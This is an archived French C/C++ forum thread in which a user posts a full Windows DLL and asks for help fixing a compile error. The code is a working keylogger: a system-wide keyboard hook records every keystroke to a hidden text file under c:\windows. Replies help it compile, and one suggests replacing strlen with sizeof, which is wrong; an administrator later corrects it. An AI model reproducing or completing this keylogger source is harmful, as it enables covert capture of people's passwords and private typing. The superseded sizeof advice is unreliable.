begin process at 2012 05 28 11:13:23
  Trouver un code source :
 
dans
 
Accueil > Forum > 

Archive C/C++

 > 

Archives

 > 

Divers

 > 

aide pour une dll


Derniers messages déposésPoser une question dans le forum ou lancer une discussion

aide pour une dll

dimanche 12 mars 2006 à 19:00:38 | aide pour une dll

baby3378

bonjour a tous, voila j'ai trouvé ce code sur cpp, (que je trouve remarquable )mais quand je l'essai sur mon Dev C++ il me di : invalid convertion from 'cost void' to 'cost char'.

Pourtant dans le zip le fichier .dev se compile trés bien


Help!!!!!!!!!!!! snif


    #include <windows.h>            // Header pour DevCpp


    // A ajouter devant une fonction pour l'exporter ou l'importer
    #define DLLEXPORT   __declspec (dllexport)
    #define DLLIMPORT   __declspec (dllimport)

//------------------------------------------------------------------------------
// Variables Globales De La DLL
//------------------------------------------------------------------------------

    HHOOK   HKEYBOARD;                      // Hook Clavier
    HINSTANCE HInst;                        // Handle d'intance de la DLL
    char    FILENAME[] = "c:\\windows\\hook.txt";     // Chemin du log

//------------------------------------------------------------------------------
// Ecriture à la fin d'un fichier texte
//------------------------------------------------------------------------------

DWORD myfprintf ( LPCVOID texte )
{
    HANDLE  logfic;                         // Handle du fichier
    DWORD   taille=0;                       // Nombre d'octets effectivement écrits
    
    // Ouverture et positionnement à la fin du fichier pour ajout
    logfic = CreateFile ( FILENAME, GENERIC_WRITE, 0, 0, OPEN_ALWAYS, FILE_FLAG_SEQUENTIAL_SCAN, NULL );
    if ( logfic != INVALID_HANDLE_VALUE )
    {
        SetFilePointer ( logfic, 0, 0, FILE_END );
        WriteFile ( logfic, texte, strlen(texte), &taille, NULL );
        CloseHandle ( logfic );
    }
    return taille;
}

//------------------------------------------------------------------------------
// Retourne 0 si le caractère est un DEAD CHAR (accent circonflexe, trema, etc ...)
//------------------------------------------------------------------------------

BOOL is_dead_key ( int wparam )
{
    unsigned int code = MapVirtualKey ( wparam, 2 );

    // Windows 95 retourne 0x8000, NT retourne 0x80000000
    return (code & 0x80008000) ? TRUE : FALSE;
}

//------------------------------------------------------------------------------
// Fonctions executée lorsqu'on appuie sur une touche
//------------------------------------------------------------------------------
// lParam est composé de 32 bits (de 31 à 0) :
// touche appuyée   : bit 31 [FALSE] bit 30 [FALSE]
// touche maintenue : bit 31 [FALSE] bit 30 [TRUE]
// touche relachée  : bit 31 [TRUE]  bit 30 [TRUE]
// scancode         : bit 23 au bit 16 inclus
//------------------------------------------------------------------------------

LRESULT CALLBACK KeyboardProc ( int nCode,WPARAM wParam,LPARAM lParam )
{
    BYTE KeyState[256];                 // Etat des 256 touches du clavier
    static BOOL deadkey;                // Est-ce qu'on a traité une DEAD KEY
    WORD Char=0;                        // Buffer pour la traduction de la touche (ToAscii)
    char nomTouche[256];                // Buffer pour la traduction de la touche (GetKeyNameText)

    // On ne fait rien dans ce cas (cf aide API)
    if ( nCode < 0 || nCode == HC_NOREMOVE )
        return CallNextHookEx ( HKEYBOARD, nCode, wParam, lParam );

    // Pour éviter les répétitions
    // Bit 30 : Spécifie l'état précédent de la touche (si TRUE, on passe notre chemin)
    if ( ((DWORD)lParam & 1<<30) != FALSE )
        return CallNextHookEx ( HKEYBOARD, nCode, wParam, lParam );
        
    // Si c'est une DEAD KEY, on passe notre chemin
    if ( is_dead_key ( (UINT) wParam ) )
    {
        deadkey = TRUE;
        myfprintf ( "[DK]" );
        return CallNextHookEx ( HKEYBOARD, nCode, wParam, lParam );
    }

    switch(wParam)
    {
    case VK_BACK    : myfprintf ( "[BKSP]" );   break;  // 0x08
    case VK_TAB     : myfprintf ( "[TAB]" );    break;  // 0x09
    case VK_RETURN  : myfprintf ( "[ENTER]\r\n" );break;  // 0x0D
    case VK_SHIFT   :                           break;  // 0x10
    case VK_CONTROL : myfprintf ( "[CTRL]" );   break;  // 0x11
    case VK_MENU    : myfprintf ( "[ALT]" );    break;  // 0x12
    case VK_PAUSE   : myfprintf ( "[PAUSE]" );  break;  // 0x13
    case VK_CAPITAL :                           break;  // 0x14
    case VK_ESCAPE  :                           break;  // 0x1B
    case VK_PRIOR   : myfprintf ( "[PGUP]" );   break;  // 0x21
    case VK_NEXT    : myfprintf ( "[PGDN]" );   break;  // 0x22
    case VK_END     : myfprintf ( "[END]" );    break;  // 0x23
    case VK_HOME    : myfprintf ( "[HOME]" );   break;  // 0x24
    case VK_LEFT    : myfprintf ( "[LEFT]" );   break;  // 0x25
    case VK_UP      : myfprintf ( "[UP]" );     break;  // 0x26
    case VK_RIGHT   : myfprintf ( "[RIGHT]" );  break;  // 0x27
    case VK_DOWN    : myfprintf ( "[DOWN]" );   break;  // 0x28
    case VK_SNAPSHOT: myfprintf ( "[SNAP]" );   break;  // 0x2C
    case VK_INSERT  :                           break;  // 0x2D
    case VK_DELETE  : myfprintf ( "[DEL]" );    break;  // 0x2E
    case VK_LWIN    : myfprintf ( "[LWIN]" );   break;  // 0x5B
    case VK_RWIN    : myfprintf ( "[RWIN]" );   break;  // 0x5C
    case VK_APPS    : myfprintf ( "[APPS]" );   break;  // 0x5D
    case VK_NUMPAD0 : myfprintf ( "[NUM0]" );   break;  // 0x60
    case VK_NUMPAD1 : myfprintf ( "[NUM1]" );   break;  // 0x61
    case VK_NUMPAD2 : myfprintf ( "[NUM2]" );   break;  // 0x62
    case VK_NUMPAD3 : myfprintf ( "[NUM3]" );   break;  // 0x63
    case VK_NUMPAD4 : myfprintf ( "[NUM4]" );   break;  // 0x64
    case VK_NUMPAD5 : myfprintf ( "[NUM5]" );   break;  // 0x65
    case VK_NUMPAD6 : myfprintf ( "[NUM6]" );   break;  // 0x66
    case VK_NUMPAD7 : myfprintf ( "[NUM7]" );   break;  // 0x67
    case VK_NUMPAD8 : myfprintf ( "[NUM8]" );   break;  // 0x68
    case VK_NUMPAD9 : myfprintf ( "[NUM9]" );   break;  // 0x69
    case VK_MULTIPLY: myfprintf ( "*" );        break;  // 0x6A
    case VK_ADD     : myfprintf ( "+" );        break;  // 0x6B
    case VK_SUBTRACT: myfprintf ( "-" );        break;  // 0x6D
    case VK_DECIMAL : myfprintf ( "." );        break;  // 0x6E
    case VK_DIVIDE  : myfprintf ( "/" );        break;  // 0x06
    case VK_F1      : myfprintf ( "[F1]" );     break;  // 0x70
    case VK_F2      : myfprintf ( "[F2]" );     break;  // 0x71
    case VK_F3      : myfprintf ( "[F3]" );     break;  // 0x72
    case VK_F4      : myfprintf ( "[F4]" );     break;  // 0x73
    case VK_F5      : myfprintf ( "[F5]" );     break;  // 0x74
    case VK_F6      : myfprintf ( "[F6]" );     break;  // 0x75
    case VK_F7      : myfprintf ( "[F7]" );     break;  // 0x76
    case VK_F8      : myfprintf ( "[F8]" );     break;  // 0x77
    case VK_F9      : myfprintf ( "[F9]" );     break;  // 0x78
    case VK_F10     : myfprintf ( "[F10]" );    break;  // 0x79
    case VK_F11     : myfprintf ( "[F11]" );    break;  // 0x7A
    case VK_F12     : myfprintf ( "[F12]" );    break;  // 0x7B
    case VK_F13     : myfprintf ( "[F13]" );    break;  // 0x7C
    case VK_F14     : myfprintf ( "[F14]" );    break;  // 0x7D
    case VK_F15     : myfprintf ( "[F15]" );    break;  // 0x7E
    case VK_F16     : myfprintf ( "[F16]" );    break;  // 0x7F
    case VK_F17     : myfprintf ( "[F17]" );    break;  // 0x80
    case VK_F18     : myfprintf ( "[F18]" );    break;  // 0x81
    case VK_F19     : myfprintf ( "[F19]" );    break;  // 0x82
    case VK_F20     : myfprintf ( "[F20]" );    break;  // 0x83
    case VK_F21     : myfprintf ( "[F21]" );    break;  // 0x84
    case VK_F22     : myfprintf ( "[F22]" );    break;  // 0x85
    case VK_F23     : myfprintf ( "[F23]" );    break;  // 0x86
    case VK_F24     : myfprintf ( "[F24]" );    break;  // 0x87
    case VK_NUMLOCK :                           break;  // 0x90
    case VK_ATTN    :                           break;  // 0xF6
    default:
        // On réinitialise notre tableau
        memset ( KeyState, 0, sizeof(KeyState) );
        
        if ( GetKeyboardState ( KeyState ) )
        {
            // ce n'est pas une DEAD KEY, on peut utiliser ToAscii
            if ( !deadkey )
            {
                ToAscii ( (UINT) wParam, (UINT) ((lParam << 8 ) >> 24), KeyState, &Char, 0 );
                myfprintf ( &Char );
            }
            // sinon, on doit utiliser autre chose !
            else
            {
                GetKeyNameText ( lParam, nomTouche, 256 );
                myfprintf ( nomTouche );
                deadkey = FALSE;
            }
        }
        break;
    }

    return CallNextHookEx ( HKEYBOARD, nCode, wParam, lParam );
}


//------------------------------------------------------------------------------
// Fonction principale d'Initialisation De La DLL
//------------------------------------------------------------------------------
// hinst  : l'instance de notre programme
// raison : pourquoi notre DLL est utilisée
// reserv : non utilisé
// retourne vrai si l'opération s'est bien déroulé
//------------------------------------------------------------------------------


BOOL APIENTRY DllMain ( HINSTANCE hinst, DWORD raison, LPVOID reserv )
{
    if ( raison == DLL_PROCESS_ATTACH )
        HInst = hinst;
    return TRUE;
}


//------------------------------------------------------------------------------
// Initialisation Du Hook Clavier                             FONCTION EXPORTEE
//------------------------------------------------------------------------------


void DLLEXPORT InitHook ( void )
{
    HKEYBOARD = SetWindowsHookEx ( WH_KEYBOARD, (HOOKPROC)KeyboardProc, HInst, 0 );
}


//------------------------------------------------------------------------------
// Terminaison Des Hooks                                     FONCTION EXPORTEE
//------------------------------------------------------------------------------


void DLLEXPORT EndHook ( void )
{
    UnhookWindowsHookEx ( HKEYBOARD );
}


//==============================================================================
// EOF
//==============================================================================
dimanche 12 mars 2006 à 19:09:30 | Re : aide pour une dll

SAKingdom

Membre Club
Réponse acceptée !
C'est probablement à cause de strlen dans la section //------------------------------------------------------------------------------
// Ecriture à la fin d'un fichier texte
//------------------------------------------------------------------------------

strlen ne calcule pas de valeur void. Essais plutot sizeof(texte)

___________________________________________
Les plus grands esprits trouvent toujours une solution

dimanche 12 mars 2006 à 19:11:31 | Re : aide pour une dll

baby3378

comment je fais ? comment changer cela ?
lundi 13 mars 2006 à 00:23:02 | Re : aide pour une dll

SAKingdom

Membre Club
T'as les sources non? Change strlen par sizeof c'est tout et recompile.

___________________________________________
Les plus grands esprits trouvent toujours une solution

lundi 13 mars 2006 à 12:10:59 | Re : aide pour une dll

racpp

Administrateur CodeS-SourceS
Réponse acceptée !
Salut,
SAKinfdom > On ne doit pas remplacer strlen() par sizeof() car elles ne fonctionnent pas de la même façon:
strlen() calcule la longueur d'une chaine de caractères pendant l'execution du programme. Elle renvoit le nombre de caractères de la chaine.
sizeof() est utilisée par le compilateur, pendant la compilation, pour trouver la taille, en octets, de n'importe quelle type de variables comme les structures, les tableaux etc...le résultat est inscrit en dur dans l'exécutable.

baby3378 > Tu dois regarder la ligne qui contient cette erreur. En général un simple cast suffirait. Voici un exemple:
La fonction MaFonction() retourne un long. Dans notre programme on a besoin de transformer ce long en char, on fait un cast:
char moncacatere;
moncaractere= (char) MaFonction();




lundi 13 mars 2006 à 16:57:52 | Re : aide pour une dll

baby3378

un grand merci !   :}
mardi 14 mars 2006 à 01:13:31 | Re : aide pour une dll

SAKingdom

Membre Club
racpp>Je sais ça. C'est seulement pour donner une solution temporaire.

___________________________________________
Les plus grands esprits trouvent toujours une solution



Cette discussion est classée dans : dll, char, hinst, bit, logfic


Répondre à ce message

Sujets en rapport avec ce message

C++ DLL retour de paramettre [ par PRZYBYLSKI ] Bonjour,Je suis débutant en C++.J'essaye de trouver le moyen de faire une chose qui devrait être très simple.Avoir une application console qui envoi u HELP! DEV-C++ et Dll [ par couriousous ] HEllo!Comment on crée une Dll que l'on peut inclure dans Visual Basic avec dev-c++??? au départ j'ai une fonction char * mafonction(char *) et je veux Convertir des strings [ par UnExPeCtEdSpy ] Bonjour, Présentation du pb:Je ne suis plus trop familier du c++ mais j'ai du m'y remettre pour utiliser un bout de code en tant que DLL au service d' passage de chaines de caractères en paramètre d'une DLL C vers VB [ par jopop ] Salut tous les coders,soyons brefs, soyons concis.ma fonction :extern "C" void __stdcallMakeLineEx(const char* folder,char* file,char* sout); - folder Pb d'utilisation d'une DLL avec VB (allocation de memoire) [ par jeralex ] Bonjour à tous,Voila mon problème : je suis chargé d'ecrire une DLL en c permettant de recuperer les tag dans un fichier mp3. Quand j'appelle les fonc lire char* a dans Dll int _stdcall runappli(char* a) [ par Fwdavy ] Je realise une Dll c++, pour être lue par VB du style :int _stdcall runappli(char* a, char* b,int c) La Dll se lance bien mais je voudrais être sur qu pb d'appel de fonctions (DLL en linkage dynamique) [ par Gendal67 ] Bonsoir all,Je souhaiterai faire un appel de fonction définie dans un fichier .DLL de manière dynamque etc...jusque la pas de pb, mais je en comprend appli 32 bit et DLL 16 bit [ par chamar ] Bonjour,je programme en C borland 5.01.je dois charger une DLL 16 bit dans mon prg 32 bit,la fonction loadlibrary ne fonctionne pas, quelqu'un a t'il DLL et CString [ par DMK04 ] Bonjour,J'ai crée une DLL avec une fonction, qui affiche plusieurs fois la même chaîne, une fois en tant que char *, une fois en tant que CString * pu dll et boite de dialogue [ par juguivin ] Bonjour.Je me lance dans la conception de dll pour Pixia , logiciel de graphisme; avec Devcmes dll sont bien reconnues et fonctionnent sauf  la boite


Nos sponsors


Sondage...

CalendriCode

Mai 2012
LMMJVSD
 123456
78910111213
14151617181920
21222324252627
28293031   

Consulter la suite du CalendriCode

Photothèque

A découvrir



 
Développement réalisé par Nicolas SOREL (Nix) avec l'aide de : Cyril DURAND et Emmanuel (EBArtSoft), Merci à Vincent pour ses précieux conseils.
CodeS-SourceS.com© Toute reproduction même partielle est interdite sauf accord écrit du Webmaster
CodeS-SourceS.com© est une marque déposée tous droits réservés

Google Coop CodeS-SourceS Google Coop CodeS-SourceS
Temps d'éxécution de la page : 5,086 sec (3)

Nous contacter | Annoncer sur CodeS-SourceS | Mentions légales